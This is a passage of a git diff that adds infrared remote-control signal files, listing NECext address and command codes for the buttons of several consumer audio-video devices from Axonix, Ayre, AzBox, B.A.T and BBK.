parsed +protocol: NECext +address: 11 00 00 00 +command: 45 00 00 00 +# +name: 6/MNO +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 46 00 00 00 +# +name: 7/PQRS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 47 00 00 00 +# +name: 8/TUV +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 48 00 00 00 +# +name: 9/WXYZ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 49 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4B 00 00 00 +# +name: PAGE_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4D 00 00 00 +# +name: PAGE_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4E 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 4F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 50 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 51 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 52 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 53 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 54 00 00 00 +# +name: BACK/EXIT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 55 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 56 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 57 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 58 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 59 00 00 00 +# +name: PREVIOUS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5B 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5C 00 00 00 +# +name: REVERSE +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5D 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 5E 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 60 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 61 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 62 00 00 00 +# +name: PHOTOS +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 63 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir b/assets/resources/infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir new file mode 100644 index 000000000..57297465f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Axonix/MediaMax/17,20.ir @@ -0,0 +1,470 @@ +Filetype: IR signals file +Version: 1 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 08 00 00 00 +# +name: ARROW_LEFT_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 08 00 00 00 +# +name: DEL +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 0A 00 00 00 +# +name: DEL_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 0A 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 0D 00 00 00 +# +name: OK_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 0D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 1E 00 00 00 +# +name: VOLUME_-_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 1E 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 26 00 00 00 +# +name: TV_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 26 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 29 00 00 00 +# +name: REC_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 29 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 2D 00 00 00 +# +name: VOLUME_+_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 2D 00 00 00 +# +name: EPG +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 3D 00 00 00 +# +name: EPG_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 3D 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 88 00 00 00 +# +name: ?_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 88 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 8C 00 00 00 +# +name: B_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 8C 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 99 00 00 00 +# +name: C_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 99 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 9E 00 00 00 +# +name: CHANNEL_+_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 9E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 9F 00 00 00 +# +name: CHANNEL_-_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: 9F 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 11 14 00 00 +command: A8 00 00 00 +# +name: UP_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: A8 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 11 14 00 00 +command: A9 00 00 00 +# +name: DOWN_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: A9 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 11 14 00 00 +command: AA 00 00 00 +# +name: LEFT_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: AA 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 11 14 00 00 +command: AB 00 00 00 +# +name: RIGHT_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: AB 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 11 14 00 00 +command: B7 00 00 00 +# +name: PIP_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: B7 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D0 00 00 00 +# +name: A_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D0 00 00 00 +# +name: P +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D1 00 00 00 +# +name: P_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D1 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D2 00 00 00 +# +name: POWER_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D2 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D3 00 00 00 +# +name: PAUSE_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D3 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D4 00 00 00 +# +name: STOP_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D4 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D5 00 00 00 +# +name: REW_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D5 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D6 00 00 00 +# +name: FF_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: D6 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 11 14 00 00 +command: DB 00 00 00 +# +name: SKIP_<<_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: DB 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 11 14 00 00 +command: DC 00 00 00 +# +name: SKIP_>>_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: DC 00 00 00 +# +name: STAR +type: parsed +protocol: NECext +address: 11 14 00 00 +command: E1 00 00 00 +# +name: STAR_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: E1 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F1 00 00 00 +# +name: 0_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F1 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F2 00 00 00 +# +name: 1B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F2 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F3 00 00 00 +# +name: 2B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F3 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F4 00 00 00 +# +name: 3B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F4 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F5 00 00 00 +# +name: 4B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F5 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F6 00 00 00 +# +name: 5B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F6 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F7 00 00 00 +# +name: 6B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F7 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F8 00 00 00 +# +name: 7B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F8 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F9 00 00 00 +# +name: 8B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: F9 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 11 14 00 00 +command: FA 00 00 00 +# +name: 9_B +type: parsed +protocol: NECext +address: 11 14 00 00 +command: FA 00 00 00 +# +name: C/N +type: parsed +protocol: NECext +address: 11 14 00 00 +command: FC 00 00 00 +# +name: C/NB +type: parsed +protocol: NECext +address: 11 14 00 00 +command: FC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir new file mode 100644 index 000000000..e76da3932 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Ayre/Amplifier/16,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 09 00 00 00 +# +name: 10+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0A 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0C 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: DISPLAY_DIMMER +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 12 00 00 00 +# +name: INPUT_SCROLL_UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 20 00 00 00 +# +name: INPUT_SCROLL_DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 21 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir b/assets/resources/infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir new file mode 100644 index 000000000..4a25da317 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/AzBox/Unknown_S700/1,4.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 01 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 02 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 03 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 04 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 05 00 00 00 +# +name: TV/Sat +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 06 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 07 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 0B 00 00 00 +# +name: TV/R +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 0C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 0F 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 10 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 11 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 12 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 13 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 15 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 17 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 18 00 00 00 +# +name: ChEdit +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 1B 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 1D 00 00 00 +# +name: MultiCh +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 1E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 1F 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 40 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 42 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 43 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 44 00 00 00 +# +name: KEY_SAT +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 45 00 00 00 +# +name: PS +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 47 00 00 00 +# +name: TTX +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 48 00 00 00 +# +name: Sig +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 49 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 55 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 56 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 58 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 04 00 00 +command: 59 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir new file mode 100644 index 000000000..c467baadc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/B.A.T/Pre-Amplifier/16,-1.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 01 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 02 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 03 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 04 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 05 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: POWER/DISPLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 13 00 00 00 +# +name: FADE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 14 00 00 00 +# +name: FUNCTION +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 15 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: POLARITY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir new file mode 100644 index 000000000..eec7db004 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_PV400s/80,-1.ir @@ -0,0 +1,200 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 09 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0A 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 0E 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 10 00 00 00 +# +name: rep +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 11 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 12 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 13 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 14 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 15 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 16 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 17 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 18 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 19 00 00 00 +# +name: KEY_PLAYPAUSE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1A 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 1B 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 4F 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 50 00 00 00 +# +name: prog +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 51 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 52 00 00 00 +# +name: esp +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 53 00 00 00 +# +name: fb +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 54 00 00 00 +# +name: eq +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 56 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 57 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 58 00 00 00 +# +name: audio/dir +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 59 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5A 00 00 00 +# +name: p/n +type: parsed +protocol: NECext +address: 50 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir b/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir new file mode 100644 index 000000000..1ca35c8f6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_Popcorn/4,203.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 01 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 02 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 03 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 05 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 06 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 07 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 09 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0A 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0D 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0E 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 11 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 12 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 13 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 15 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 16 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 17 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 19 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1B 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1D 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 1E 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 41 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 42 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 43 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 44 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 45 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 46 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 47 00 00 00 +# +name: KEY_FILE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 48 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4A 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4C 00 00 00 +# +name: KEY_SUSPEND +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4E 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 4F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 52 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 53 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 54 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 55 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 56 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 57 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 58 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 59 00 00 00 +# +name: KEY_CAPSLOCK +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5A 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5B 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5C 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 CB 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir b/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir new file mode 100644 index 000000000..a9f5bf84b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BBK/Unknown_RC022-03R/73,-1.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 00 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 02 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 03 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 04 00 00 00 +# +name: QPLAY +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 05 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 06 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 49 00 00 00 +command: 07 00 00 00 +# +name: KEY_6 +type: parsed +protocol: 